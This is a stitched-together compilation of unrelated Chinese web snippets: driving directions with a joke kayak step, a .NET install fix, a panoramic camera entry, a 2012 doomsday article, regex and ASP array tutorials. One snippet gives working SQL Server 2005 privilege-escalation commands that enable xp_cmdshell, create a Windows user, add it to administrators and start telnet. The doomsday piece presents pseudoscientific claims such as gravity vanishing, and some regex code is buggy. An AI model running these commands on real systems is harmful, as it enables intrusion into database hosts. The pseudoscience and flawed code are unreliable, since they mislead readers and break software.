继续直行进入県 道38号線 900 米 51. 在串木野駅 (交差点)向右转,进入国道3号線 32.9 公里 52. 左转 走九州自動車道 收费路段 342 公里 53. 继续前行,上関 門橋 收费路段 9.2 公里 54. 继续前行,上中 国自動車道 收费路段 64.6 公里 55. 下 山口 JCT 出口,前往山陽道・広島・大阪 收费路段 1.5 公里 56. 走山陽自動 車道 收费路段 94.8 公里 57. 下 有料道 路大竹IC 出口走広島岩国道路 收费路段 12.5 公里 58. 走右侧匝 道,前往山陽道・広島・大阪 收费 路段 1.2 公里 59. 走山陽自動 車道 收费路段 309 公里 60. 下 神戸 JCT 出口,前往中国道・西宮北・大阪 收费路段 1.2 公里 61. 走中国自動 車道 收费路段 30.1 公里 62. 下右侧 吹田JCT 出口,前往名神・京都 收费路段 1.2 公里 63. 走名神高速 道路 收费路段 49.0 公里 64. 下 草津 JCT 出口,前往新名神・東名阪・草津田上・名古屋 收费路段 1.3 公里 65. 走新名神高 速道路 收费路段 49.7 公里 66. 下 亀山 JCT 出口,前往東名阪道・伊勢湾岸道・鈴鹿・名古屋・豊田 收费路段 1.1 公里 67. 走東名阪自 動車道 收费路段 22.0 公里 68. 下 四日市 JCT 出口,前往伊勢湾岸道・豊田 收费路段 1.2 公里 69. 走伊勢湾岸 自動車道 收费路段 17.6 公里 70. 下 高速飛 島IC 出口走伊勢湾岸自動車道/名港トリトン 继续沿伊勢湾岸自動車道前行 收费路段 32.1 公里 71. 下 豊田 JCT 出口,前往東名・名古屋・静岡 收费路段 450 米 72. 在交岔路口继续向右, 沿指向東名・岡崎・静岡的路标走東名高速道路 收费路段 303 公里 73. 继续前行,上首 都高速3号渋谷線 (首都高速的路标) 收费路段 12.1 公里 74. 下 谷町 JCT 出口,前往北池袋・霞が関 收费路段 450 米 75. 走首都高速 都心環状線 收费路段 6.0 公里 76. 下 江戸橋 JCT 出口,前往向島・湾岸線・箱崎 收费路段 700 米 77. 走首都高速 6号向島線 收费路段 8.7 公里 78. 下 堀切 JCT 出口,前往大宮・東北道・三郷 收费路段 450 米 79. 走首都高速 中央環状線 收费路段 650 米 80. 下右侧 小菅JCT 出口,前往常磐道・三郷 收费路段 600 米 81. 走首都高速 6号三郷線 收费路段 9.4 公里 82. 下 三郷 JCT 出口,前往常磐道・水戸 收费路段 1.1 公里 83. 走常磐自動 車道 收费路段 37.7 公里 84. 下 高速桜 土浦IC 出口,前往国道354号線 收费路段 900 米 85. 在交岔路口继续向右, 沿指向土浦・霞ヶ浦的路标走国道354号線 部分收费路段 2.1 公里 86. 在中村陸橋 下(交差点)向左转,在国道354号線上行进 3.3 公里 87. 在千束町 (交差点)稍微向左转,在国道354号線上行进 600 米 88. 在亀城公園 北(交差点)向右转,进入国道125号線 650 米 89. 在県道 263号線向左转 450 米 90. 向右转, 继续沿県道263号線前行 500 米 91. 向左转 270 米 92. 向右转 450 米 93. 乘坐皮划艇横渡太 平洋 6,243 公里 94. 在Kalakaua Ave向右转 500 米 95. […]

.Net framework 3.5 无法安装,附解决方法

下载了VS2008,结果在安装时总是失败,检查日志,提示:[11/22/07,18:04:40] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:05:13] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a is not installed.[11/22/07,18:26:27] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:26:57] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a is not installed.[11/22/07,18:49:56] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:50:28] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a is not installed. 在网上反复多次搜索,估计是自己的系统里装了 SQL 2005 SP2,导致 .Net 2.0 SP1 无法安装造成。最后找到了一个 .Net Frame 清理工具,清理后重新启动,再次安装,成功。 附dotnet清理工具: dotnetfx_cleanup_tool.zip 原作者:blueskit  转载自:http://kb.cnblogs.com/a/969060/  

全景照相机

全景照相机   英译:panoramic camera   全景照相机又叫全景相机。   相机光轴在垂直航线方向上从一侧到另一侧扫描时作广角摄影的相机。这种相机利用小视场角镜头,镜头或其光学零件(如梭镜)运动扫描地物(运动方向与飞行方向垂直),相机光轴指向便连续改变,从而实现了扩大横向幅宽的全景摄影。曝光时间靠改变与飞行方向平行的靠近像面的狭缝大小来控制。全景照片的分辨率高,幅宽大,但几何尺寸不严格,存在全景畸变、像移补偿畸变和扫描位置畸变。全景相机可用于军事普查和国土普查。     全景相机有3种形式:     (l)光律式(分扫描式)全景相机。照相时,镜头绕光轴转动,胶片反向同步运动,有严格的速度同步要求,分辨率较高。     (2)节点式(直接扫描式)全景相机。照相时,镜头绕通过后节点的轴转动或摆动,胶片在一个圆弧的展平板上静止不动并被展平,无速度同步要求,分辨率高。     (3)棱镜扫描式全景相机。照相时,镜头前的棱镜转动扫描地物,胶片与像作速度同步运动,但分辨率较低。美国、俄罗斯和中国都有多种型号的航天全景相机。     一般来讲,全景数码相机主要用于拍摄风光、集体纪念照,所拍摄的图像都有极高的清晰度,色彩还原准确,层次丰富,特别是用于拍摄集体照,从几十人到上千人都可以拍摄,而且没有变形,每个人都非常清晰。  

SQL SERVER2005 提权

--打开xp_cmdshellexec sp_configure 'show advanced options', 1; RECONFIGURE; EXEC  sp_configure 'xp_cmdshell', 1; RECONFIGURE; use master;xp_cmdshell 'dir c:';go --添加windows用户:xp_cmdshell 'net user awen /add'; --设置好密码:xp_cmdshell 'net user awen password'; --提升到管理员:xp_cmdshell 'net localgroup administrators awen /add'; --开启telnet服务:xp_cmdshell 'net start tlntsvr'

导致2012世界末日的九种可能

前五种毁灭世界的灾难基本上都与太阳活动有关,除了外星智慧生物的入侵和小行星撞击地球以及核战争的爆发之外,世界末日的灾难主要是由于一系列原因所引发的地震和海啸。 2012年太阳活动频繁 第一种可能,太阳耀斑       每隔11年太阳运动都会达到一个最高峰,届时每天都会发生两到三次日冕物质抛射,到2012年底,太阳活动正好即将进入它的下一个最高峰。十亿吨的蒸气和磁场会从太阳内部喷射出来,并且速度高达每小时好几百万公里,就算你穿的是昂贵的航天服,这股极速的热流也很可能将你融化成液体蒸发掉。 有理论称磁极可能颠覆 第二种可能,磁极颠覆       日冕物质抛射出来的带电粒子猛烈冲击地球保护性磁场,导致地球磁场减弱甚至磁力为零。在磁层力恢复其力量时,南极和北极可能出现在任何位置,指南针有可能胡乱指示,其结果不仅仅导致人们在旅行时迷失方向,迁徙性动物经常会利用它们自己对地球磁场线的解读来进行导航,如果脱离了地球磁场的牵引,很多动物会一时间不知道自己身处何地,不知道自己应该在冬天来临时迁徙,最终走向灭亡。那些准备降落的飞机会突然发现自己的GPS失灵了,在紧要关头,GPS失灵可能会让人们付出生命的代价。 电影《2012世界末日》里的海啸 第三种可能,地震与海啸       太阳发射出的巨大电磁辐射很可能会引发强烈的地震。地壳中的金属会传导电磁,吸收当中的能量,使地壳变得不稳定。如果真是这样,2012年的太阳攻击将会在全世界陆陆续续引发地震,只要是断层里有大量金属的地方都难幸免。 这股全新的磁辐射很可能将打破原有的力量平衡,使板块发生错位,所以很可能会出现一场由磁场引发的强烈地震。只要不是发生在你脚底下,地震还算不得什么危险,可怕的是那些发生在深海之中地震所引起的海啸。海啸是人类所知的最具破坏力的力量之一,大洋海底会突然发生移动,例如海底的提升,可能只是一点点,可能只是3,4厘米,但这个过程会排开大量的海水,但别急着退订你的游轮旅行,事实上海啸发生时待在海上反而更安全,在巨大的海浪冲向海岸之前,海平面会变得很低,然后巨浪会突然升起。它会从海岸线吸走海水,形成一个遮天蔽日威力惊人的大海浪,想象一下,一天,你坐在海滩上享受着碧海蓝天,心情舒畅,然后你朝海岸望去突然发现大海正在迅速地后退,甚至比你奔跑的速度更快,它向后退了好几公里,又退了好几公里,如果看到这样的景象,这很可能将成为你这辈子见到的最后一幕,因为那就意味着海啸要来了。 黄石火山爆发 第四种可能,火山爆发       有理论称,在2012年时,可能会有一股非常强烈的太阳能量注入地球,它成为促使蓄势待发的黄石国家公园火山或是其它进入红色警戒状态的超级火山爆发的最后一击。如果黄石火山爆发其威力将立即毁灭周围一切,喷出的熔岩朝着各个方向流去,蔓延数十公里,并摧毁沿路的一切。最可怕的是风会把这些火山灰和毒气云吹到世界各地,届时窜大气将充满大量火山灰,中午时分太阳也会被遮蔽,这就是我们称为核冬天的现象,寒冷和饥饿将杀死一切生命。 板块断裂 第五种可能,板块断裂       如果地球大陆的平衡受到巨大冲击,地球上的所有地面可能会突然绕着地球的核心旋转,这个说法来自一个名叫查尔斯哈普古的人,他认为地球将会而且已经出现过好几次这样的重组。地壳底下有一层厚厚的地幔叫做软流层,那里的岩石柔软可塑,通常,当地壳的两个部分之间发生相互摩擦时就会产生地震。但是根据哈普古的理论,地表的极度不平衡可能会导致整块地壳立刻滑入软流层中,哈普古认为地壳完全脱离地幔,进行独立旋转是有可能的。地球并非完美的圆形,而是赤道部分略鼓,想象一下,有一个点在北极,还有一点在赤道,在赤道的那个点的旋转速度更快,所以它的角动量会更高,曾经坐过旋转木马的人都知道,你会紧紧抓住它以免被甩出去,事实上所有的旋转物体,包括地球磁场受到的都是同样的力量,那股力量会将物质拉向赤道,所以地球的中间会略略鼓起。地球并不是一个完美的圆形,而且包裹它的地壳相当坚固,那片穿过赤道的区域现在突然需要被延伸,很可能大地会开始开裂,当越陷越深被强力拉伸时,强烈的地震和巨大的地裂会周期性出现。  2012年12月21日,太阳、地球以及银河系的中心排成一线 第六种可能,天体一线切断宇宙能量来源       有人说,2012年冬至日,太阳正巧遮蔽银河系的中央,那一刻起,地球的宇宙能量来源将被切断。那是从被称为“银河系的心脏”的黑洞所释放出的赐予生命的能量,如果失去了这种能量,地球上的重力将会消失,人类将会被月球的引力加速吸入太空,体内的大气压会直接把人体胀破。 外星人的科学技术水平非人类能想象 第七种可能,外星智慧生物入侵       很多人认为这个挺荒谬的,其实事实并非如此,科学家已经证明了银河系中存在其它生命的可能性,也就是说银河系中的其它智慧生物可能不止一种,其中或许有一些智慧生物智商比人类高出好几百倍,它们的科学技术人类简直无法想象。如果2012的灾难不仅仅只是发生在太阳系,银河系内其它智慧生物在失去自己星球的同时必然会去寻找一个适合它们居住的新天体,如果不幸看上了地球,一场星球争夺大战即将爆发! 核武器爆炸时高耸入云的“蘑菇云” 第八种可能,核战争爆发       大家或许已经意识到目前国际关系随时都可能紧张,就连“Google退出中国市场”事件都牵扯到了政治关系。现代核武器的威力到底有多大?据专家介绍,核武器爆炸时,几公里内的建筑都会变成一片火海,在没有很好的躲避设施环境下强烈的核辐射会给十几公里内的人造成可怕的创伤甚至死亡。爆炸后大火会燃烧大量的物体产生一层厚厚的烟云,浓浓的黑烟会吸收阳光让空气温度上升到50至100摄氏度,很多生命都会被活活烤死。核武器爆炸产生的化学物质会进一步破坏臭氧层,如果没有了臭氧层,人体将暴露在强烈的太阳紫外线辐射下,皮肤会溃烂出血。如果2012年核战争真的爆发,那将是多么的可怕。 小行星把地球撞出运行轨道 第九种可能,X行星撞击地球       地球周围时刻充满着各种巨型漂浮物在游荡着寻找东西撞,不幸的地球很可能死于2012年一场可怕的宇宙交通事故,它将与银河系中的另一颗急速飞行的行星发生灾难性的撞击——一颗被称为X行星的神秘末日导弹。X行星是一颗穿行于太阳系外部区域的假象行星,这套理论基本上就是说,当这颗X行星穿过内太阳系时。它的引力不仅对地球还将对太阳造成一定的影响,它可能导致太阳发射出某些足以毁灭星球的太阳耀斑。                 

常用的匹配正则表达式和实例

匹配中文字符的正则表达式: [\u4e00-\u9fa5] 匹配双字节字符(包括汉字在内):[^\x00-\xff] 应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1) String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;} 匹配空行的正则表达式:\n[\s| ]*\r 匹配HTML标记的正则表达式:/<(.*)>.*<\/\1>|<(.*) \/>/ 匹配首尾空格的正则表达式:(^\s*)|(\s*$) 应用:javascript中没有像vbscript那样的trim函数,我们就可以利用这个表达式来实现,如下: String.prototype.trim = function(){return this.replace(/(^\s*)|(\s*$)/g, "");} 利用正则表达式分解和转换IP地址: 下面是利用正则表达式匹配IP地址,并将IP地址转换成对应数值的Javascript程序: function IP2V(ip){re=/(\d+)\.(\d+)\.(\d+)\.(\d+)/g //匹配IP地址的正则表达式if(re.test(ip)){return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1}else{throw new Error("Not a valid IP address!")}} 不过上面的程序如果不用正则表达式,而直接用split函数来分解可能更简单,程序如下: var ip="10.100.20.168"ip=ip.split(".")alert("IP值是:"+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1)) 匹配Email地址的正则表达式:\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* 匹配网址URL的正则表达式:http://([\w-]+\.)+[\w-]+(/[\w– ./?%&=]*)? 利用正则表达式去除字串中重复的字符的算法程序:[注:此程序不正确,原因见本贴回复] var s="abacabefgeeii"var s1=s.replace(/(.).*\1/g,"$1")var re=new RegExp("["+s1+"]","g")var s2=s.replace(re,"") alert(s1+s2) //结果为:abcefgi 我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法,最终没有找到,这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符,再以重复的字符建立第二个表达式,取到不重复的字符,两者串连。这个方法对于字符顺序有要求的字符串可能不适用。 得用正则表达式从URL地址中提取文件名的javascript程序,如下结果为page1 s="http://www.9499.net/page1.htm"s=s.replace(/(.*\/){0,}([^\.]+).*/ig,"$2")alert(s) 利用正则表达式限制网页表单里的文本框输入内容: 用正则表达式限制只能输入中文:onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,")" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,"))" 用正则表达式限制只能输入全角字符: onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,")" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,"))" 用正则表达式限制只能输入数字:onkeyup="value=value.replace(/[^\d]/g,") "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,"))" 用正则表达式限制只能输入数字和英文:onkeyup="value=value.replace(/[\W]/g,") "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,"))"

asp数组使用

在ASP编程中使用数组 数组的定义Dim MyArrayMyArray = Array(1,5,123,12,98) 可扩展数组Dim MyArray()for i = 0 to 10ReDim Preserve MyArray(i)MyArray(i)=inext 将一个字符串分割并返回分割结果的数组Dim MyArrayMyArray = Split(tempcnt,chr(13)&chr(10))For I = Lbound(MyArray) to Ubound(MyArray) Response.Write MyArray(I) & "<br>"Next 数组排序函数function..Sort(ary) KeepChecking = TRUE Do Until KeepChecking = FALSE KeepChecking = FALSE For I = 0 to UBound(ary) If I = UBound(ary) Then Exit For If ary(I) > ary(I+1) Then FirstValue = ary(I) SecondValue = ary(I+1) ary(I) = SecondValue ary(I+1) = FirstValue KeepChecking = TRUE End If Next Loop Sort = ary End function.. 数组排序函数应用例子Dim MyArray MyArray = Array(1,5,123,12,98)MyArray = Sort(MyArray) For I = Lbound(MyArray) to Ubound(MyArray) Response.Write MyArray(I) & "<br>"Next 在Application和Session中使用数组Application.LockApplication("StoredArray") = MyArrayApplication.Unlock LocalArray = Application("StoredArray") 覆盖Application中的数组Application.LockApplication("StoredArray") = LocalArrayApplication.Unlock Session使用方法与Application相同 从数据库中把数据导入数组中Dim MyArray取出全部记录MyArray = RS.GetRows取出前10项记录MyArray = RS.GetRows(10) For row = 0 To UBound(MyArray, 2)For col = 0 To UBound(MyArray, 1)Response.Write (col, row) & "<br>"NextNext   回复——————————————————————————-- .2. 有效的在asp中利用数组admin(2006-3-22 7:57:28) IP:一个数组是一个基本的数据结构,它是由跟随若干数字的变量组成,代替了声明10个变量来代表10个值的过程,你可以声明一个数组,并且把10个元素存入到这个数组中。 就像声明其他变量一样,数组需要与其大小相同大的内存,因此他们非常高效。在数组中为了获得一个特殊的变量,你需要参考它的索引。一个数组中正确的索引值是从0到(下标-1),如果一个数组的大小是10,我们可以从0到9来索引元素。数组不是复杂的结构,记住,你可以像应用其他变量一样来应用数组中的变量,规则是一样的。 现在让我们看看如何定义一个数组,如何动态的更改数组的大小,一些有用的asp数组函数,在数组中如何查找元素和我们怎样在页面和页面之间传递数组。 ……………………………………… 定义一个简单的数组 有两种方法在asp中定义数组,让我们看看每种的例子: 方法一:MyArray = Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct", "Nov","Dec") 方法二:Dim myArray(2) myArray(0)="Jan"myArray(1)="Feb" 在方法一中,我们用一行定义整个数组,这种方法在数组中有特殊的用途,如上面那样只存储一年中的12个月。在方法二中,我们在多行中用单独的元素定义值,如果你想从纪录中将不同的值存入数组元素中,或者在一个循环中定义每一个元素的值,就要用到这种方法,例如:Dim myArray(20)Dim I For I=0 to 20Myarray(I)="This is message " & INext ……………………………………………………………………………………. 动态改变数组的大小 现在让我们看看动态改变数组的大小。为什么你要做这个?举例说如果你不知道一个查询中有多少项目,但是你又想把这些数据存入到数组中,这时你将不能用上面的方法,除非你获得了数据的总数然后声明数组。为了避免这些,我们看看其中的方法: DIM myArray()Dim I REDIM myArray(20) '将数组重新定义为20维 For I=0 to 20MyArray(I)="This is item " & INext 在上面的例子中,声明数组没有包含任何的数字项目,它的作用是告诉asp有一个数组被声明了,然后我们用REDIM语句来重新定义数组有20维,并且向其中存入数据。 ……………………………………………………………………………………. 有用的数组函数 Ubound(arrayName)函数 这个函数是返回数组的下标,也就是数组最后一个元素的标记。 Dim myArray(10)Dim I For I=0 to 10MyArray(I)="Item " & INextResponse.write "ubound(myArray) = " & ubound(myArray) Lbound(arrayName)函数 这个函数是返回数组的上标,也就是数组第一个元素的标记。可以用上面的例子进行试验,不过不要忘了把Ubound换成Lbound哟! Split(string, splitby)函数 这个函数返回基于0的一维数组,其中包含指定数目的子字符串。这里有两个参数,string是一个字符串,sqlitby是分隔符,让我们看一个例子来理解这个函数的功能: Dim myStringDim myArrayDim I MyString = "a,b,c,d"MyArray = split(MyString,",") For I=0 to Ubound(MyArray)Response.write MyArray(I) & "<br>"Next 这个例子的意思是:将字符串"a,b,c,d"转换成一个有四个元素一维数组,其中字符串中的","是分隔符。最后我们用循环将这个数组显示出来。如果大家觉得不容易懂,可以自己上机调试一下就明白了,其实很简单。 ……………………………………………………………………………………. 在数组中查找元素这有一个函数,它能返回数组中的元素索引。这个索引是数组元素的基本位置,如:0代表myArray(0)。 function findArray(arrName,srcStr)dim Idim pint,cnt cnt=0 for i=0 to ubound(arrName)if cnt=0 thenif srcStr=arrName(i) thenpint=icnt=1end ifend ifnextfindArray=pint+1end function 现在我们来用一用这个函数: Dim myArray(20)Dim k For k=0 to 20MyArray(k)="Item " & kNext Response.write findArray(myArray,"Item 8") & "<p>"Response.write myArray(findArray(myArray,"Item 8")) 赶紧在本机上调试一下,看看这个函数的功能。 ……………………………………………………………………………………. 向另一个页面传递数组 现在有很多种方法向另一页面传递数组,目前有三种方法: 定义一个又逗号分隔的字符串,然后再下一页中用Split函数重新建立数组。将数组存储在一个Session变量中,然后在下一个页面中调用。通过表单的隐含区域来传递数组,他们都是自动用逗号分开,然后再用Split函数重新建立数组。 前两种方法很好,但是都比第三中复杂。在这里我们将只介绍第三种,因为它是最简单最有效的。 1.asp:<%dim Idim myArray(20) for I=0 to 20myArray(I)="Item " & Inext%><html><body><form name="testform" method="post" action="2.asp"><%for I=0 to ubound(myArray)response.write "<input type=hidden name=myArray value=’" & myArray(I) & "'>"next%><p><input type="submit"></form></body></html> 以上我们做的是在一个表单中用单独的隐含域存储数组中的每个元素,我们再看看下一页: 2.asp<html><body><%dim arrStringdim myArraydim I arrString=request("myArray")myArray = split(arrString,",") for I=0 to ubound(myArray) response.write "Item "&I&" = " & myArray(I) & "<br>" & vbCrLfnext%></body></html> 调试了吗?怎么样,简单吧!数组就这么传递过去了。好了,通过以上的讲解,我想初学者一定对asp中的数组有了一定的了解,当然这里将的都只是最基本的,其实数组的功能远远不只这些,如果大家肯钻研,它能使在asp的程序运行效率大大提高。